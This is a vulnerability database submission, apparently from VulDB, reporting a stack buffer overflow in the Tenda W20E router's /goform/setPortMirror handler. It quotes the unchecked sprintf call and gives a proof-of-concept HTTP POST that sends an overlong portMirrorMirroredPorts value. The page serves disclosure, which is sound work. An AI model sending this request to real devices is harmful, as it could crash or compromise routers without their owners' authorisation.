| 제목 | Tenda W20E US_W20EV4.0br_V15.11.0.6(1068_1546_841)_CN_TDC.bin Buffer Overflow |
|---|
| 설명 | A buffer overflow vulnerability was discovered in Tenda W20E V4.0br_V15.11.0.6. Attackers can exploit this vulnerability by specifying the value of portMirrorMirroredPorts. When portMirrorMirroredPorts is passed to formSetPortMirror and written into fixed-size stack buffers through sprintf/sscanf without length validation, it may cause a buffer overflow.
Technical details from the advisory:
The vulnerable component is the httpd web management interface. The vulnerable endpoint is goform/setPortMirror, registered as:
websDefineAction("setPortMirror", formSetPortMirror);
In formSetPortMirror, the attacker-controlled portMirrorMirroredPorts parameter is read from the HTTP request:
pMirroredPorts = websGetVar((Webs_1 *)wp, "portMirrorMirroredPorts", defaultGetValue__2);
The destination buffer is a fixed-size stack buffer:
char sMibValue[256];
When portMirrorEn is true, the user-controlled value is formatted into sMibValue without length validation:
sprintf(sMibValue, "1;%d;%s", 0, pMirroredPorts);
Because sprintf writes the complete portMirrorMirroredPorts string into the fixed-size sMibValue stack buffer, an overly long value can overflow the buffer and corrupt adjacent stack memory.
Conceptual proof-of-concept request:
POST /goform/setPortMirror HTTP/1.1
Host: <device-ip>
Content-Type: application/x-www-form-urlencoded
portMirrorEn=true&portMirrorMirroredPorts=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA |
|---|
| 원천 | ⚠️ https://github.com/lipenghai/iot_bug/blob/main/Tenda/W20E/1.md |
|---|
| 사용자 | stksgg (UID 97520) |
|---|
| 제출 | 2026. 06. 25. AM 09:12 (2 개월 ago) |
|---|
| 모더레이션 | 2026. 08. 14. AM 07:26 (2 months later) |
|---|
| 상태 | 중복 |
|---|
| VulDB 항목 | 369142 [Tenda W20E 15.11.0.6 /goform/setPortMirror formSetPortMirror portMirrorMirroredPorts 메모리 손상] |
|---|
| 포인트들 | 0 |
|---|